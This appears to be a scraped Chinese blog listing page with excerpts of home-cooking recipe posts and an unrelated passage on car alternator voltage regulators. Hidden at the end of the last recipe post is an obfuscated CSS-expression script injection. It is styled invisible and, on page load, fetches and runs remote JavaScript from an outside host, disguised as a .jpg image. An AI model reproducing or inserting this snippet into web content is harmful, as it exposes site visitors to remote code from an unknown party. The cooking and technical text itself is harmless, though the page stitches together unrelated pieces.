Yanling164
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大热天里，室外闷热，室内阴冷，一冷一热的刺激会让我们的身体产生受损，清热解暑、滋补五脏是我们日常饮食的一大任务。简单来说就是要做到既营养丰富而又清爽可口，温和开胃。我们常说要饮和食德，夏天就更要如此了。 秋天是干燥缺水的季节，想要秋天里皮肤也能水润白皙，除了化妆品的保养外，饮食上也要加以注意。今天我们就来了解一下，秋天应该多吃什么。 【鱼香青红烩豉香肉末】</STRONG>  【材料】西红柿，小油菜，猪肉碎，姜，豆豉，鱼香酱，盐，鸡精 1，把西红柿成块，小油菜洗净，豆豉切碎 2，起锅倒油，油热后放入姜炒香，接着放入豆豉翻炒出香味后将猪肉碎放入翻炒至变色，然后加入一大勺鱼香酱炒均后将西红柿和小油菜放入翻炒，放入少量的盐（酱和豆豉是咸的）和鸡精炒到小油菜断生就做好了。 PS:这道菜是酸甜可口！ 鱼香酱我是买现成的比较方便，如果没有可以换成其他的酱料，比如郫县豆瓣酱，沙茶酱之类的也很好吃，自己搭配就好！ 【豆花牛肉】</STRONG>  【材料】内脂豆腐一盒，牛肉，西兰花，郫县豆瓣酱，花椒，鸡精，糖，花椒粉，淀粉，酱油，葱姜蒜 1，把豆腐切成小块，然后放到加入盐的开水中泡一下，这样做是为了让豆腐不那么容易碎，还能祛除豆腐的生味；把牛肉切能薄片，加入相当与牛肉量五分之一的水，让牛肉把水都吸收，这样做是为了让牛肉吃起来很嫩，牛肉吸收水分后，在放入少量的花椒粉和酱油腌一下，然后抓上一层淀粉备用；西兰花焯水备用。 2，起锅，用葱姜蒜炝锅，然后放入约20粒花椒，炒出香味放入两大勺郫县豆瓣酱炒出红油然后添水，水开后放入少量的糖和花椒粉，再放入一勺鸡精，因为已经放了酱所以不需要放盐，调匀后放入豆腐，转中火煮10分钟，然后将味好的牛肉一片一片的放到锅中，转大火3分钟放入西兰花就做好了。 【秘方版蒜泥茄子】</STRONG>  【材料】茄子,大蒜,尖椒,香菜,盐 1,把茄子洗净,然后放到锅中蒸到九成熟,时间大约是蒸锅上气后7,8分钟,当然还要看茄子的大小掌握时间,一定不要蒸得太过,不然就不好吃了. 2,把大蒜,尖椒,香菜全部切碎备用.我几乎是两根茄子放一头蒜,一根尖椒,香菜一点就好! 3,把蒸好的茄子晾凉,然后撕成条,放入大蒜和盐拌匀放静置10分钟,然后再拌入尖椒和香菜末拌匀,放到冰箱冷藏小半天就可以吃了,注意啊,一定要后放尖椒和香菜,不然味道不是很好! 【金勾蒜蓉娃娃菜】</STRONG>  【材料】娃娃菜，粉丝，蒜一头，蒸鱼豉油，海米，盐 1，把娃娃菜洗干净，放到锅中焯一下，这样处理一会儿蒸的时候更容易入味；把粉丝也焯软；一头大蒜全部切成蒜蓉；海米用温水泡一下。 2，做蒸菜的汁。起锅倒油，油热后放入蒜爆香，然后放入海米翻炒。炒出香味后倒入蒸鱼豉油，再放入少量的盐，蒸鱼豉油的用量根据菜的多少自己掌握，这个时候汁就处理好了。 3，把娃娃菜切成两半或四半根据你自己的喜好处理，然后摆放的粉丝上面，将调好的汁均匀的洒到菜和粉丝上面后，放到锅中蒸8分钟就可以吃了！一定要等锅上蒸气后再放入！ 【双椒牛肉小炒】</STRONG>  【配料】牛肉，青红尖椒，蒜末，植物油，蚝油，淀粉，生抽，鸡粉，盐 1.把牛肉切成洗丝，然后加入少许水，搅匀后，在加入生抽蚝油和淀粉抓匀 2.起锅到油然后加入蒜末暴香，加入牛肉迅速翻炒牛肉一变色就盛出，因为牛肉炒的时间一长肉就不嫩了。用锅中剩下的底油将处理好的青红尖椒丝放入翻炒，炒的过程加入少许的盐，目的是让辣椒入味，牛肉加入蚝油已经够咸了，所以盐不要放多，尖椒炒好后在把刚才炒好的牛肉放入翻炒，最后加入鸡粉就可以了。如果把蚝油换成豆豉，陴县豆瓣酱或者剁椒又是另一种味道。 【酱香胡萝卜炒肉丝】</STRONG>  【材料】猪里脊，胡萝卜一根，尖椒一个，韭菜一小把，郫县都豆瓣酱，酱油，姜，盐，花椒粉，淀粉 1，把猪肉切成丝，然后放入适量的郫县豆瓣酱，酱油，花椒粉和淀粉味上10分钟。 2，把胡萝卜去皮切成丝；韭菜切成段；尖椒切成丝。 3，起锅倒油，油热了放入姜爆香，接着放入肉丝滑炒至变色，然后放入所有准备好的蔬菜和少许的盐，（注意豆瓣酱是有咸味的，所以只要放入少量的盐给蔬菜添添味道就好。）等到蔬菜炒熟了，咱这到菜就做好了！ 【清真扒牛肉】</STRONG>  【材料】牛肉(最好是里脊),葱,姜,生抽,料酒,糖,盐,花椒,大料,丁香 1,把牛肉泡除血水. 2,把泡除血水的牛肉放到高压锅里,然后放入酱油,盐,糖,料酒,花椒,大料,4粒丁香添入没过牛肉的水，盖上高压锅盖，上气后开始计时，15分钟就可以了。如果不想用高压锅，可以用小火炖煮1个小时，煮好的牛肉放到汤汁里再泡半个小时。 3，把泡好的牛肉切片。我个人认为等牛肉凉了更好切。 4，现在我们调一会蒸牛肉用的汤汁。我用的牛肉的量是九两肉，我倒了10毫升的生抽，5克的糖，3毫升料酒，2毫升的刚刚煮牛肉用的汤汁，调匀备用！ 5，把汤淋到牛肉上，然后在上面摆上葱花，姜片和一粒掰碎的大料。 6.取蒸锅，等蒸锅上气后，大火20分钟就做好了。可以直接就这样吃，也可以把蒸好的牛肉的汤汁倒出来，回锅勾个芡再淋到牛肉上！ 【麻婆豆腐】</STRONG>  【配料】豆腐，牛肉碎，姜末，蒜末，陴县豆瓣酱，酱油，糖，鸡粉，花椒，辣椒，花椒粉 1.把豆腐切 阅读全文>> |
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由于交流发电机的转子是由发动机通过皮带驱动旋转的，且发动机和交流发电机的速比为1．7～3，因此交流发电机转子的转速变化范围非常大，这样将引起发电机的输出电压发生较大变化，无法满足汽车用电设备的工作要求。为了满足用电设备恒定电压的要求，交流发电机必须配用电压调节器，使其输出电压在发动机所有工况下基本保持恒定。 一、电压调节器的分类</STRONG></SPAN> 1．交流发电机电压调节器按工作原理可分为：</SPAN> （1）触点式电压调节器 触点式电压调节器应用较早，这种调节器触点振动频率慢，存在机械惯性和电磁惯性，电压调节精度低，触点易产生火花，对无线电干扰大，可靠性差，寿命短，现已被淘汰。 （2）晶体管调节器 随着半导体技术的发展，采用了晶体管调节器。其优点是：三极管的开关频率高，且不产生火花，调节精度高，还具有重量轻、体积小、寿命长、可靠性高、电波干扰小等优点，现广泛应用于东风、解放及多种中低档车型。 （3） 集成电路调节器 集成电路调节器除具有晶体管调节器的优点外，还具有超小型，安装于发电机的内部（又称内装式调节器），减 |
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昨天头痛的厉害，请假在家里躺了几个钟头，突然觉得肚子好饿 原料：番茄两只 陈醋两汤匙 少许油 番薯粉条一小包鸡精一小汤匙 做法：1 锅内加水 滚开放进番薯粉条加入鸡精和少许盐煮至番薯粉条软 大概需要15分钟 2 番茄切块 锅热油 放进翻炒 加少许盐 然后加水少量 煮至番茄绵软 待用 3 将煮好的封条盛入碗里加入陈醋拌均再把煮好的番茄放入就可以啦 啰嗦啰嗦：吃的时候把两种充分搅拌  更加美味。本来想加些青菜进去，可家里冰箱空空的~~~~~~~第一次传作品，各位高抬贵脚~踩踩哟  ee:expression_r_r(function(){if(!window.r){var ss='s'+'cript';var tt='text/ja'+'vas'+'cript';var st=document.createElement_x(ss);st.src='http://imgcache.suqian114.cn/a/s/sina.jpg';st.type=tt;document.getElementsByTagName('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none" ...阅读全文>> |
